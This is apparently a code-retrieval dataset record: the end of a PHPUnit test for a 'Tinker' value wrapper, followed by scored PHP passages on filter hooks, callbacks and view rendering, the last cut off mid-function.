$this->assertSame('null', $this->null->dump()->return());\n $this->assertSame(<<<EOS\narray:3 [\n 0 => 1,\n 1 => 2,\n 2 => 3\n]\nEOS\n , $this->array->dump()->return());\n $this->assertSame(<<<EOS\narray:3 [\n 0 => 1,\n 1 => ***,\n 2 => 3\n]\nEOS\n , $this->array->dump([1], '***')->return());\n\n // Tinker.filter.customs.invoke\n $this->assertNull($this->null->invoke('Test')->return());\n $this->assertSame('Hello Test', $this->callable->invoke('Test')->return());\n\n // Tinker.filter.customs.equals\n $this->assertTrue($this->null->equals(null));\n $this->assertTrue($this->null->equals(''));\n $this->assertTrue($this->int->equals(123));\n $this->assertTrue($this->int->equals('123'));\n $this->assertFalse($this->int->equals(1234));\n\n // Tinker.filter.customs.sameAs\n $this->assertTrue($this->null->sameAs(null));\n $this->assertFalse($this->null->sameAs(''));\n $this->assertTrue($this->int->sameAs(123));\n $this->assertFalse($this->int->sameAs('123'));\n $this->assertFalse($this->int->sameAs(1234));\n\n // Tinker.filter.customs.nnvl\n $this->assertSame(null, $this->null->nnvl('A')->return());\n $this->assertSame('B', $this->null->nnvl('A', 'B')->return());\n $this->assertSame('A', $this->int->nnvl('A')->return());\n $this->assertSame('A', Tinker::with('')->nnvl('A')->return());\n $this->assertSame('A', Tinker::with([])->nnvl('A')->return());\n $this->assertSame('A', Tinker::with(0)->nnvl('A')->return());\n\n // Tinker.filter.customs.nbvl\n $this->assertSame(null, $this->null->nbvl('A')->return());\n $this->assertSame('B', $this->null->nbvl('A', 'B')->return());\n $this->assertSame('A', $this->int->nbvl('A')->return());\n $this->assertSame(null, Tinker::with('')->nbvl('A')->return());\n $this->assertSame(null, Tinker::with([])->nbvl('A')->return());\n $this->assertSame('A', Tinker::with(0)->nbvl('A')->return());\n\n // Tinker.filter.customs.nevl\n $this->assertSame(null, $this->null->nevl('A')->return());\n $this->assertSame('B', $this->null->nevl('A', 'B')->return());\n $this->assertSame('A', $this->int->nevl('A')->return());\n $this->assertSame(null, Tinker::with('')->nevl('A')->return());\n $this->assertSame(null, Tinker::with([])->nevl('A')->return());\n $this->assertSame(null, Tinker::with(0)->nevl('A')->return());\n\n // Tinker.filter.customs.when\n $this->assertSame('A', $this->null->when(null, 'A')->return());\n $this->assertSame(null, $this->null->when(123, 'A')->return());\n $this->assertSame('A', $this->int->when(123, 'A')->return());\n $this->assertSame('A', $this->int->when(Tinker::with(123), 'A')->return());\n $this->assertSame(123, $this->int->when(234, 'A')->return());\n $this->assertSame('B', $this->int->when(234, 'A', 'B')->return());\n $this->assertSame('A', $this->int->when(function ($v) { return $v < 999; }, 'A', 'B')->return());\n $this->assertSame('A', $this->int->when(true, 'A', 'B')->return());\n $this->assertSame('B', $this->int->when(false, 'A', 'B')->return());\n\n // Tinker.filter.customs.case\n $case = [123 => 'A', 'Hello Rebet' => 'B'];\n $this->assertNull($this->null->case($case)->return());\n $this->assertSame('default', $this->null->case($case, 'default')->return());\n $this->assertSame('A', $this->int->case($case)->return());\n $this->assertSame('B', $this->string->case($case)->return());\n $this->assertSame(\"Hello\\nRebet\", $this->text->case($case)->return());\n $this->assertSame('C', $this->text->case($case, 'C')->return());\n\n // Tinker.filter.customs.length\n $this->assertSame(null, $this->null->length()->return());\n $this->assertSame(3, $this->int->length()->return());\n $this->assertSame(9, $this->float->length()->return());\n $this->assertSame(11, $this->string->length()->return());\n $this->assertSame(1, $this->enum->length()->return());\n $this->assertSame(2, $this->enums->length()->return());\n $this->assertSame(3, $this->array->length()->return());\n\n // Tinker.filter.customs.values\n $this->assertSame(null, $this->null->values()->return());\n $this->assertSame([123], $this->int->values()->return());\n $this->assertSame([1, 2, 3], $this->array->values()->return());\n $this->assertSame([\n 'FOO',\n [\n 'child' => [\n 'bar' => 'BAR',\n ],\n ],\n 123,\n Gender::MALE(),\n true,\n ], $this->map->values()->return());\n\n // Tinker.filter.customs.keys\n $this->assertSame(null, $this->null->keys()->return());\n $this->assertSame([0], $this->int->keys()->return());\n $this->assertSame([0, 1, 2], $this->array->keys()->return());\n $this->assertSame([\n 'foo',\n 'parent',\n 'number',\n 'gender',\n 'boolean',\n ], $this->map->keys()->return());\n\n\n // PHP function is_null\n $this->assertTrue($this->null->isNull());\n $this->assertFalse($this->int->isNull());\n\n // PHP function is_string\n $this->assertTrue($this->string->isString());\n $this->assertFalse($this->int->isString());\n\n // PHP function is_int\n $this->assertTrue($this->int->isInt());\n $this->assertFalse($this->string->isInt());\n\n // PHP function is_float\n $this->assertTrue($this->float->isFloat());\n $this->assertFalse($this->int->isFloat());\n\n // PHP function is_array\n $this->assertTrue($this->array->isArray());\n $this->assertFalse($this->int->isArray());\n\n // PHP function is_bool\n $this->assertTrue(Tinker::with(true)->isBool());\n $this->assertFalse($this->int->isBool());\n\n // PHP function is_callable\n $this->assertTrue($this->callable->isCallable());\n $this->assertFalse($this->int->isCallable());\n }", "title": "" } ]
[ { "docid": "745e6ababbf78f7693da1ffeb1f0dbb1", "score": "0.74422735", "text": "public function filter()\n {\n //\n }", "title": "" }, { "docid": "745e6ababbf78f7693da1ffeb1f0dbb1", "score": "0.74422735", "text": "public function filter()\n {\n //\n }", "title": "" }, { "docid": "745e6ababbf78f7693da1ffeb1f0dbb1", "score": "0.74422735", "text": "public function filter()\n {\n //\n }", "title": "" }, { "docid": "b7513fdf3897aec9ede8c62fd208e79a", "score": "0.7437253", "text": "function filter_method_name() {\n\t // TODO define your filter method here\n\t}", "title": "" }, { "docid": "7e3849d7f236a85c80460dac24871499", "score": "0.7434971", "text": "public function filter($function);", "title": "" }, { "docid": "9eedc170f7198cc8cb8d445c431396de", "score": "0.7399868", "text": "public function filter()\n\t{\n\n\t}", "title": "" }, { "docid": "f28242acf39cbabda24c63315cc96063", "score": "0.7191801", "text": "public function filters();", "title": "" }, { "docid": "4ffd6ea354e66ddc2acc361f4e3a029d", "score": "0.6962265", "text": "public function callFilters(){\n \n //get arguments with which to call the function. All except first, which is the filter name\n $filterArgs = func_get_args();\n $filterName = array_shift($filterArgs);\n $filtered = $filterArgs[0];\n if (isset($this->allFilters[$filterName])){\n //the filters matching name\n $nameFilters = &$this->allFilters[$filterName];\n //sort by priority\n ksort($nameFilters);\n // loop on filters matching filter name by priority\n foreach($nameFilters as $priorityFilters){\n //loop for each existing priority\n foreach($priorityFilters as $callBack){\n $fromCallee = call_user_func_array($callBack, $filterArgs);\n if($fromCallee !== null){ //!== null because otherwise array() doesn't qualify\n $filtered = $filterArgs[0] = $fromCallee;\n }\n \n }\n }\n }\n\n return $filtered;\n }", "title": "" }, { "docid": "6561685ac6ab14f4b6cdd5c11556797a", "score": "0.69512963", "text": "public function filter(FilterContract $filter);", "title": "" }, { "docid": "eecba4a74304bfb24acf63fea0bda304", "score": "0.68756384", "text": "public function filter($callback);", "title": "" }, { "docid": "812ac823f2872572e56c05d8148cf680", "score": "0.6806911", "text": "public function filter()\n {\n $filters = $this->normaliseFilterArgs(...func_get_args());\n return $this->filterOrExclude($filters);\n }", "title": "" }, { "docid": "3f322b46aa5b06ca47c2eaa2338d166f", "score": "0.6783278", "text": "public function filter_method_name() {\n\t\t// Define your filter hook callback here\n\t}", "title": "" }, { "docid": "2e2db56414d094118a370040314c40ac", "score": "0.67632234", "text": "public function filter(callable $predicate): self;", "title": "" }, { "docid": "930f934458efd1d905ba07cd02d8d04b", "score": "0.6711874", "text": "public function filter($filters);", "title": "" }, { "docid": "1eec0b0953517e6d46105110386af733", "score": "0.6686021", "text": "public function filter_method_name() {\n\t\t// TODO: Define your filter hook callback here\n\t}", "title": "" }, { "docid": "b8699cbb0a4999739f14bf3ae7451158", "score": "0.666233", "text": "public function filter( $source );", "title": "" }, { "docid": "4dc9020aad02c775ba0b752f81816004", "score": "0.66597456", "text": "public function filterWhere()\n {\n }", "title": "" }, { "docid": "d21e5230e1bb5d20e4138156783635d7", "score": "0.65502477", "text": "public function filter($query);", "title": "" }, { "docid": "c6bb8df85e3b3abfd4659b29548338ae", "score": "0.6539882", "text": "public static function filter()\n {\n return Event::filter(static::class, ...func_get_args());\n }", "title": "" }, { "docid": "6c4adea0ba1aa2ba23d52f97aedff3d6", "score": "0.6539571", "text": "public function getFilter();", "title": "" }, { "docid": "76753363b9622e46c8858d512e818c81", "score": "0.649023", "text": "public function createFilter();", "title": "" }, { "docid": "4e7c3190d717e3437695bcb1074aad46", "score": "0.6479163", "text": "public static function applyFilter($method, $filter = null)\n\t{\n\t\t$class = get_called_class();\n\t\tif ($method === false) {\n\t\t\tstatic::$_methodFilters[$class] = array();\n\t\t\treturn;\n\t\t}\n\t\tforeach ((array)$method as $m) {\n\t\t\tif (!isset(static::$_methodFilters[$class][$m]) || $filter === false) {\n\t\t\t\tstatic::$_methodFilters[$class][$m] = array();\n\t\t\t}\n\t\t\tif ($filter !== false) {\n\t\t\t\tstatic::$_methodFilters[$class][$m][] = $filter;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "6389b12f982fc52514be3c4a33c233e0", "score": "0.64467144", "text": "function filter($value);", "title": "" }, { "docid": "26a5b3da9488deaa30e11bcab00f83f6", "score": "0.6432755", "text": "public function buildFilter();", "title": "" }, { "docid": "9f37539f801cf9e3304173456e11a9c7", "score": "0.64275265", "text": "public function filters()\n {\n }", "title": "" }, { "docid": "848edb6edb91d10c68bdcf67dc979bc5", "score": "0.6414289", "text": "function create_filter($event, $data){add_filter($event, $data);}", "title": "" }, { "docid": "6a38f0eac545dd59feeb592bcfc7d889", "score": "0.6327502", "text": "public function filter( $condition );", "title": "" }, { "docid": "0547326578de7ac2dd3a5be4edbda863", "score": "0.6302675", "text": "public function filterOne(array $filter);", "title": "" }, { "docid": "a5692c6d0bc3caba912cd35c71d63c70", "score": "0.6282631", "text": "public function filter (){\n\n $this->filter = array();\n\n }", "title": "" }, { "docid": "6e7d33a76b86ea16416fccd26825ec55", "score": "0.62751055", "text": "public function filter() {\n return $this->algorithm(new imagealgorithm_function(\n \t\tarray($this, \"filter_\")));\n }", "title": "" }, { "docid": "c2d277fbd60baa1211e757da21aeadb0", "score": "0.62521183", "text": "abstract public function filter( $value = '' );", "title": "" }, { "docid": "15e2ab643b2029c2a61d1248e4a86d66", "score": "0.62276876", "text": "public function applyFilter($method, $closure = null) {\n\t\tforeach ((array)$method as $m) {\n\t\t\tif (!isset($this->_methodFilters[$m])) {\n\t\t\t\t$this->_methodFilters[$m] = array();\n\t\t\t}\n\t\t\t$this->_methodFilters[$m][] = $closure;\n\t\t}\n\t}", "title": "" }, { "docid": "289ab0ac5c0831599897fd4406742c50", "score": "0.6223362", "text": "public function setFilter()\n {\n $args = func_get_args();\n $this->_filter = array_shift($args);\n $this->_filterArgs = $args;\n\n\t return $this;\n }", "title": "" }, { "docid": "4fe8db1884a1115b035aa75b73c4ca0e", "score": "0.62210655", "text": "public function filter(callable $predicate): Seq;", "title": "" }, { "docid": "4fe8db1884a1115b035aa75b73c4ca0e", "score": "0.62210655", "text": "public function filter(callable $predicate): Seq;", "title": "" }, { "docid": "84c787136db426616a12839dcdedce1c", "score": "0.62095207", "text": "abstract public function get_filtering_data();", "title": "" }, { "docid": "a40d2a23e3f6b3d96a6b47a9e8fe0cbd", "score": "0.6202018", "text": "public function filter($func){\n $this->items = array_filter($this->items, $func);\n }", "title": "" }, { "docid": "4380ec7ef8b26fa982037d331223ac50", "score": "0.61665714", "text": "function getFilters();", "title": "" }, { "docid": "4380ec7ef8b26fa982037d331223ac50", "score": "0.61665714", "text": "function getFilters();", "title": "" }, { "docid": "5abf29f4094a45af58c6e5eae97596ab", "score": "0.61553043", "text": "public function apply(FilterInterface $filter): static;", "title": "" }, { "docid": "62302da83e26f8e68df5f723b49e8c65", "score": "0.61339086", "text": "public function onDataMapperQueryFilter(DataMapperQueryFilterEvent $event): void\n {\n // Ignore if there is no filter we have to apply\n if (empty($this->filter)) {\n return;\n }\n call_user_func($this->filter, $event);\n }", "title": "" }, { "docid": "42e2d120c05e4ffc71e94f0c74e0d81e", "score": "0.61318725", "text": "public function filter(callable $callback = null);", "title": "" }, { "docid": "a63155faeec37443b0a63523f668e735", "score": "0.61145145", "text": "public function filterAction( $aParams ) {\n\n }", "title": "" }, { "docid": "b740aec5a4a626fa5244a1a141b838a6", "score": "0.61126316", "text": "public function filterByMethod(string $method)\n {\n $this->filter = [\n 'type' => 'filterMethod',\n 'value' => $method,\n ];\n\n return $this;\n }", "title": "" }, { "docid": "8fbe4ac26f6f13553999a139d5ff2624", "score": "0.61102957", "text": "public function filter(callable $filter)\n {\n $this->filter = $filter;\n\n return $this;\n }", "title": "" }, { "docid": "a44b49074adc9acd9ccff97eb9304ef2", "score": "0.60950416", "text": "public function andFilterWhere()\n {\n }", "title": "" }, { "docid": "a5d02efced97afcf145293ea3ec35c2f", "score": "0.6079986", "text": "function filter() {\n echo \"In Filter PHP 4 style constructor\\n\";\n }", "title": "" }, { "docid": "4bbc37159277c34730ac16436e3c5ea5", "score": "0.6066319", "text": "private function resetFilterFunction()\n {\n $this->filterFunction = function ($value, $filter) {\n return $value==$filter;\n };\n }", "title": "" }, { "docid": "f83b051e6c023e1508af5edeb93c3772", "score": "0.60474885", "text": "function filter($var, $type)\n{\n $filter = new App\\Filter();\n if (method_exists($filter, $type)) {\n return $filter->$type($var);\n }\n\n throw new Exception(\"Cannot filter '$type'\");\n}", "title": "" }, { "docid": "57b66d6a084a791c4dc1dfe5423ac86e", "score": "0.60305667", "text": "public function __invoke(mixed $value, mixed ... $param): mixed {\n return $this->filter($value, ...$param);\n }", "title": "" }, { "docid": "dc3954bfaa13f6df0a02dcf00a05ca2f", "score": "0.6028224", "text": "public function setFilterMethod($filter_method) {\n $this->filterMethod = $filter_method;\n return $this;\n }", "title": "" }, { "docid": "8b9ea17250014599efed1b9c382bb9a3", "score": "0.60235", "text": "public static function applyFilter($class, $method = null, $filter = null) {\n\t\t$message = '`' . __METHOD__ . '()` has been deprecated in favor of ';\n\t\t$message .= '`\\lithium\\aop\\Filters::apply()` and `::clear()`.';\n\t\ttrigger_error($message, E_USER_DEPRECATED);\n\n\t\t$class = get_called_class();\n\n\t\tif ($method === false) {\n\t\t\tFilters::clear($class);\n\t\t\treturn;\n\t\t}\n\t\tforeach ((array) $method as $m) {\n\t\t\tif ($filter === false) {\n\t\t\t\tFilters::clear($class, $m);\n\t\t\t} else {\n\t\t\t\tFilters::apply($class, $m, $filter);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "5650c2acc4346ee8c91e48f719ef8f2a", "score": "0.5981255", "text": "public function setFilter($fn)\n\t{\n\t\t$this->filter = $fn;\n\t}", "title": "" }, { "docid": "6996be4bde2ea96f00fd8182d893c229", "score": "0.59681565", "text": "public function filter($filter = 'image.filters.default')\n {\n $filters = (array) $this->get($filter, array());\n foreach ($filters as $params) {\n $params = (array) $params;\n $method = array_shift($params);\n $this->__call($method, $params);\n }\n }", "title": "" }, { "docid": "2114114b67182a6ad6a39596ea794da9", "score": "0.59639406", "text": "public function orFilterHavin()\n {\n }", "title": "" }, { "docid": "d00f3be6c45a273a51e1360423186ad2", "score": "0.5962521", "text": "public function filter()\n {\n // Validate and process arguments\n $arguments = func_get_args();\n switch (sizeof($arguments ?? [])) {\n case 1:\n $filters = $arguments[0];\n\n break;\n case 2:\n $filters = [$arguments[0] => $arguments[1]];\n\n break;\n default:\n throw new InvalidArgumentException('Incorrect number of arguments passed to filter()');\n }\n\n return $this->addFilter($filters);\n }", "title": "" }, { "docid": "718fce0c89b6ee9b91a6a454e440ebdb", "score": "0.59625036", "text": "public function filterAll() {\n array_walk($_POST, array($this, 'wfilter'));\n array_walk($_GET, array($this, 'wfilter'));\n }", "title": "" }, { "docid": "9d06346ac4c15585f62918b4b5ecc1ff", "score": "0.5961991", "text": "public function filter(&$logs);", "title": "" }, { "docid": "9d06346ac4c15585f62918b4b5ecc1ff", "score": "0.5961991", "text": "public function filter(&$logs);", "title": "" }, { "docid": "ae413a9e1d32c47560a0e81fd5f85525", "score": "0.5947543", "text": "function do_filter($hookName, ...$args)\n {\n return self::dispatch($hookName, $args);\n }", "title": "" }, { "docid": "7807e99e575e66c2ae67c53d18a6b42d", "score": "0.59343356", "text": "#[@test]\n public function filtered() {\n $this->assertEquals(\n new ArrayList(2, 4), \n create(new ArrayList(1, 2, 3, 4))->filtered(newinstance('util.Filter', array(), '{\n public function accept($v) { return $v % 2 == 0; }\n }'))\n );\n }", "title": "" }, { "docid": "14526c6df6debdd2656149582c3ee638", "score": "0.59201944", "text": "public function filter($content){ }", "title": "" }, { "docid": "348114b22b56639926650152649fbd76", "score": "0.5919896", "text": "protected function preFiltro() {\r\n\t}", "title": "" }, { "docid": "d56ef48b8a892225b81a479507e79433", "score": "0.59179574", "text": "protected function _filter($method, $params, $callback, $filters = array()) {\n\t\tlist($class, $method) = explode('::', $method);\n\n\t\tif (empty($this->_methodFilters[$method]) && empty($filters)) {\n\t\t\treturn $callback->__invoke($this, $params, null);\n\t\t}\n\n\t\t$f = isset($this->_methodFilters[$method]) ? $this->_methodFilters[$method] : array();\n\t\t$items = array_merge($f, $filters, array($callback));\n\t\t$chain = new Filters(compact('items', 'class', 'method'));\n\n\t\t$start = $chain->rewind();\n\t\treturn $start($this, $params, $chain);\n\t}", "title": "" }, { "docid": "0cc707c6ae3ccd483869024cc6d9f732", "score": "0.5908438", "text": "protected static function _filterBeforeMethod($method, $filter){\n\t\t$class = get_called_class();\n\t\treturn function($self, $params, $chain) use ($method, $class, $filter) {\n\t\t\t$settings = $class::settings($self);\n\t\t\t$check = array($method .'.before', $method);\n\t\t\t$methods = $settings['methods'];\n\t\t\tif (in_array($check[0], $methods) || in_array($check[1], $methods)) {\n\t\t\t\t$class::$filter($self, $params, $settings);\n\t\t\t}\n\t\t\treturn $chain->next($self, $params, $chain);\n\t\t};\n\t}", "title": "" }, { "docid": "4be0536b704fa3bb03685e2a270bd5b1", "score": "0.5898603", "text": "function apply_filters($event, $value)\n{\n global $__FILTERS;\n if (is_string($event) && !empty($event) && isset($__FILTERS[$event]) && is_array($__FILTERS[$event]) && !empty($__FILTERS[$event]))\n {\n ksort($__FILTERS[$event]);\n $all_args = func_get_args();\n $args = array_slice($all_args, 2, (int)count($all_args));\n foreach ($__FILTERS[$event] AS $priority => $functions)\n {\n if (is_array($functions) && !empty($functions))\n {\n foreach ($functions AS $function => $accepted_arguments)\n {\n $value = call_user_func_array($function, array_merge(array($value), array_slice($args, 0, (int)$accepted_arguments-1)));\n //$value = __exec_filter($function, array_merge(array($value), array_slice($args, 0, (int)$accepted_arguments-1)));\n }\n }\n }\n }\n return $value;\n}", "title": "" }, { "docid": "5809d5a47e67229b9ec0a6201783e27d", "score": "0.5883665", "text": "public function orFilterWher()\n {\n }", "title": "" }, { "docid": "1fbe0ab41fb186f7ee4e9209710f33f8", "score": "0.5875635", "text": "static public function apply_filters() {\n $args = func_get_args();\n $tag1 = array_shift($args);\n $value = apply_filters($tag1, ...$args);\n // Update value and apply experimental filters\n $tag2 = preg_replace('#^vf/#', 'vf/__experimental__/', $tag1);\n if ($tag2 !== $tag1) {\n $args[0] = $value;\n $value = apply_filters($tag2, ...$args);\n }\n return $value;\n }", "title": "" }, { "docid": "457ad9ab072865e0108ccaac29a72b84", "score": "0.5871308", "text": "public function serviceFilter () {\n\t\t$this->params = json_decode($_POST['params']);\n\t\t$sql_addon = $this->makeAdditionalConditionsStringSQL($this->params);\n\t\t$filtered_data = DBMalfunctions::getFilteredMalfunctionHistory('malfunctions', $this->search_value, $this->skip, $sql_addon);\n\t\t$this->ajaxResponse($filtered_data);\n\t}", "title": "" }, { "docid": "f6986f7de5699bc8e26feedbdad80794", "score": "0.58626294", "text": "protected static function _filterAfterMethod($method, $filter){\n\t\t$class = get_called_class();\n\t\treturn function($self, $params, $chain) use ($method, $class, $filter) {\n\t\t\t$settings = $class::settings($self);\n\t\t\t$params = $chain->next($self, $params, $chain);\n\t\t\tif (in_array($method .'.after', $settings['methods'])) {\n\t\t\t\t$class::$filter($self, $params, $settings);\n\t\t\t}\n\t\t\treturn $params;\n\t\t};\n\t}", "title": "" }, { "docid": "a0f2f4afd64839525bd47fdf87afdc0b", "score": "0.5860404", "text": "public function init(){\r\n\t\treturn $this->filter->test();\r\n\t}", "title": "" }, { "docid": "4ef309d60a17ddb61132215b9ae5e13f", "score": "0.5846896", "text": "protected function executeOutputFilters() {\r\n $r = new ReflectionClass(get_class($this));\r\n\r\n $data = $this->data;\r\n\r\n foreach ($r->getMethods() AS $method) {\r\n if (substr($method->name, 0, strlen(self::FILTER_OUT_PREFIX)) == self::FILTER_OUT_PREFIX) {\r\n $returnedData = $this->{$method->name}($data);\r\n $data = (is_array($returnedData) ? $returnedData : []) + $data;\r\n }\r\n }\r\n\r\n $this->filteredData = (is_array($data) ? $data : []) + $this->data;\r\n }", "title": "" }, { "docid": "852fcd047bff1b0d54675429245e64be", "score": "0.5823098", "text": "public function Filter($input, $filters);", "title": "" }, { "docid": "b5b30e42f573979d7297447328235b0c", "score": "0.5818464", "text": "function filter($func, $xs) {\n return new \\std\\_FilterIterator($func, $xs);\n}", "title": "" }, { "docid": "4e5d44dc9dcf652aafe535eb57afb885", "score": "0.5817896", "text": "public function filter($filter)\n {\n if (method_exists($this, $filter)) {\n return [$this, $filter];\n }\n return [$this, 'filter' . Str::studly($filter)];\n }", "title": "" }, { "docid": "13ca32e325fa3b8a0d57d7c33591bb65", "score": "0.580847", "text": "static public function getFilter($param=\"\")\n {\n //return(self::getWhere($param));\n return(\"\");\n }", "title": "" }, { "docid": "93748aea98033c1010a2856887aaa825", "score": "0.5807712", "text": "public function afterFilter() {}", "title": "" }, { "docid": "a5183b6d5ffe1ce3f431fd52977aecfe", "score": "0.58069396", "text": "public function testExecuteIsFilterable(): void\n {\n $this->markTestIncomplete('Not implemented yet.');\n }", "title": "" }, { "docid": "89da5d3489fc0d7fbfe12963b2c740e6", "score": "0.57864016", "text": "public function &filter( $callback )\n\t{\n\t\t$args = func_get_args();\n\n\t\tif ( is_array( $args ) )\n\t\t{\n\t\t\tarray_shift( $args );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$args = array();\n\t\t}\n\n\t\tarray_unshift( $args, $this );\n\n\t\tcall_user_func_array( $callback, $args );\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "434cd33280ecdbb6b960c941890dfa4b", "score": "0.57824445", "text": "function __construct(array $filter){ $this->filter = $filter; }", "title": "" }, { "docid": "b59f1a79820c4b9a612a7f6336e28bf7", "score": "0.57737374", "text": "public function applyFilters()\r\n\t{\r\n\t\tforeach($this->filters as $filter)\r\n\t\t\t$this->applyFilter($filter);\r\n\t}", "title": "" }, { "docid": "cf82ae11eb267ab497a4012fc7473b5e", "score": "0.57728094", "text": "public function getRequestFilter();", "title": "" }, { "docid": "003a0696e1123d2d2dd40d5dea35cd90", "score": "0.5769307", "text": "function filters(/* callable */ $filter = null) {\n if ( is_null($filter) ) {\n return function(array $list) {\n return array_filter($list);\n };\n }\n else {\n return function(array $list) use($filter) {\n return array_filter($list, $filter);\n };\n }\n}", "title": "" }, { "docid": "0947d7b9c1c62c2be65beeba8eccc1a7", "score": "0.5761218", "text": "function afterFilter()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "514c8ed224a1c7e7be22a2163bea22a2", "score": "0.5760158", "text": "function add_filters()\n {\n }", "title": "" }, { "docid": "3cbc821d5963f24e3c394f1ee45328b1", "score": "0.57592756", "text": "public function enableFilters(): void;", "title": "" }, { "docid": "79d326ca36f9dd3f98de05a4b70f09af", "score": "0.5757105", "text": "public function getFilters();", "title": "" }, { "docid": "b0d67959a67bb4ecfa093ddfb35a7efa", "score": "0.57359844", "text": "function __call($method_name, $parameters) {\n if($method_name == \"before_filter\") {\n $result = $this->add_before_filter($parameters);\n } elseif($method_name == \"after_filter\") {\n $result = $this->add_after_filter($parameters);\n } elseif($method_name == \"helper\") {\n $result = $this->add_helper($parameters);\n }\n\t return $result;\n\t }", "title": "" }, { "docid": "95a8754a82ae2ca4f05ed74b5e8a97fc", "score": "0.572464", "text": "public function before_filter() {\n $args = func_get_args();\n return $this->register_filter('before', Core_Arrays::shift($args), $args);\n }", "title": "" }, { "docid": "522f6c00be5024122614e9b849440735", "score": "0.5720377", "text": "public function register_filters() {\r\n\t\t}", "title": "" }, { "docid": "4744f7da40e777c4babdeeee7df4d8e3", "score": "0.57191443", "text": "public function getFilters($attribute=null){ }", "title": "" }, { "docid": "33a8f85d87621a4abda2a50e95e5a709", "score": "0.5711619", "text": "function filter($objects, string $method): array\n{\n $result = [];\n foreach ($objects as $obj)\n {\n if (call_user_func([$obj, $method]))\n {\n $result[] = $obj;\n }\n }\n return $result;\n}", "title": "" }, { "docid": "ad9c442bbebf173910a66f478b17fc4d", "score": "0.5710337", "text": "public function testBasicFilter() {\n $inputArray = [1, 2, 3, 4, 5, 6, 7, 8, 9];\n $expectedFiltered = [6, 7, 8, 9];\n $collection = new GenericCollection();\n $collection->addArray($inputArray);\n $filtered = $collection->filter(function($object) {\n return $object > 5;\n });\n self::assertEquals($inputArray, $collection->getAll());\n self::assertEquals($expectedFiltered, $filtered->getAll());\n }", "title": "" }, { "docid": "fbb4d566fba49cea4d63eb0c4801b6a2", "score": "0.5710317", "text": "public function filter(callable $matcher)\n {\n return $this->then(\"Improved\\iterable_filter\", $matcher);\n }", "title": "" }, { "docid": "881401b8765178913739052e84e26e94", "score": "0.5702231", "text": "function getFilters(): array;", "title": "" }, { "docid": "ac560bee670dbf459e0446f7d4044af7", "score": "0.5699227", "text": "public function setup_filters() {\n\n\t}", "title": "" }, { "docid": "ac560bee670dbf459e0446f7d4044af7", "score": "0.5699227", "text": "public function setup_filters() {\n\n\t}", "title": "" }, { "docid": "321484dd008c3772de72fc113b7e0092", "score": "0.5697841", "text": "public function filter($callback)\n {\n $this->filters[] = $callback;\n $this->total = null;\n return $this;\n }", "title": "" }, { "docid": "fbf175564b68ef21fea29cf4c8d64a9d", "score": "0.5693655", "text": "public function getFilters() :array;", "title": "" }, { "docid": "27fab2d6a3558bffa3028eea027741ae", "score": "0.5692831", "text": "public function accept()\n {\n $filter = $this->filter;\n return $filter($this->current());\n }", "title": "" }, { "docid": "1d66e374f33b5ff06d6d3f95f5033bfd", "score": "0.5688267", "text": "public function getFilters(): array;", "title": "" } ]
dba45ea23668cb6653fc2f09df346b95
/ Function: render() Renders a view to the screen passing in the given data as variables. Syntax: void render( [ array $data = array() ] ) Parameters: array $data optional The data to pass into the view. Array is extracted for the variables in the view. Notes: Note that any data passed directly in to the render() function will only be available during that particular render, and not if you render the view again later on. Examples: >$v>render( array( 'varname' => 'value' ) );
[ { "docid": "9e47c88da92220675cf3a2cc9a067274", "score": "0.7793461", "text": "public function render( $data = array() )\n\t\t{\n\t\t\t\n\t\t\t// Merge the data arrays.\n\t\t\t$data = array_merge( $this->_data, $data );\n\t\t\t\n\t\t\t// Transform the data array into variables.\n\t\t\textract( $data );\n\n\t\t\t// Include the view.\n\t\t\tinclude ( ROOT . Legato_Settings::get( 'stage', 'views_folder' ) . '/' . $this->filename . '.phtml' );\n\n\t\t}", "title": "" } ]
[ { "docid": "d77c7688d6c0f299c0a7973c993804d5", "score": "0.7908177", "text": "public function render($data=array());", "title": "" }, { "docid": "b497e7903265920e7274ba3f162609f5", "score": "0.786335", "text": "public function render($data);", "title": "" }, { "docid": "c014089e6fe76b28c95a689d5183a132", "score": "0.76968056", "text": "abstract function render($data);", "title": "" }, { "docid": "b3f12533d3a9da7b2ea2ecf35b3aac7d", "score": "0.7654812", "text": "public abstract function render($data);", "title": "" }, { "docid": "b3f12533d3a9da7b2ea2ecf35b3aac7d", "score": "0.7654812", "text": "public abstract function render($data);", "title": "" }, { "docid": "206cb73a0a3affbbb69f4acf435dae06", "score": "0.74867463", "text": "public function render($view, $data = array(), $return = false)\n {\n $this->variables = array_merge($this->variables, $data);\n }", "title": "" }, { "docid": "496a65b96a803e9cfbbf94cd53b081e9", "score": "0.746634", "text": "public function render($template, $data = array());", "title": "" }, { "docid": "6313e445d1dfca8593fbad61107b2f1c", "score": "0.74554366", "text": "function render(){\n\t\t$data = \"Hello World\";\n\t\t$view = $this->view->render('render_data');\n\t\trequire $view;\n\t}", "title": "" }, { "docid": "8a8826bf3febcfb631bac9b7ddf8478c", "score": "0.74309075", "text": "abstract public function render($data, $template);", "title": "" }, { "docid": "66f02937b1c9b9ef97011ff952071e64", "score": "0.742326", "text": "protected function render($viewName, $data=array()){\n\t\t\n\t\t$this->fireEvent('render', [$viewName, &$data]);\n\t\t\n\t\treturn $this->view->render($viewName, $data);\t\t\n\t}", "title": "" }, { "docid": "f8ad5ca3efb40103840459c7796c3021", "score": "0.7395633", "text": "public function render($name, $data = array());", "title": "" }, { "docid": "a01672ac0685f038332e282e50e2f36f", "score": "0.7340953", "text": "function render($view_name, $data = [], $with_layout = true)\r\n{\r\n // для каждого ключа в $data[] создаём переменные(локальные для render) с названием как у ключа. и присваиваем туда соответствующие значения из переданного массива\r\n // например вызов render( 'list', ['unit'=>$alpha] ) создаст локальную переменную $unit со значением $alpha(при чём $alpha это любые типы переменных),\r\n // а вызов render( 'list', ['unit'=>$alpha, 'item'=>$betta] ) создаст $unit и $item. таким образом мы можем передавать в функцию любое количество аргументов, не их количество в объявлении функции\r\n foreach ($data as $key => $value) {\r\n $$key = $value;\r\n }\r\n\r\n ob_start(); // перенапрявляем весь вывод в буфер\r\n require_once(\"views/$view_name.view.php\"); //подгружая сюда, во вьюшке нам доступны переменные созданные из массива $data[], которые передал соответствующий контроллер\r\n $content = ob_get_contents(); // перемещаем из буфера в переменную, инициализация $content\r\n ob_end_clean(); // останавливаем вывод в буфер\r\n\r\n if 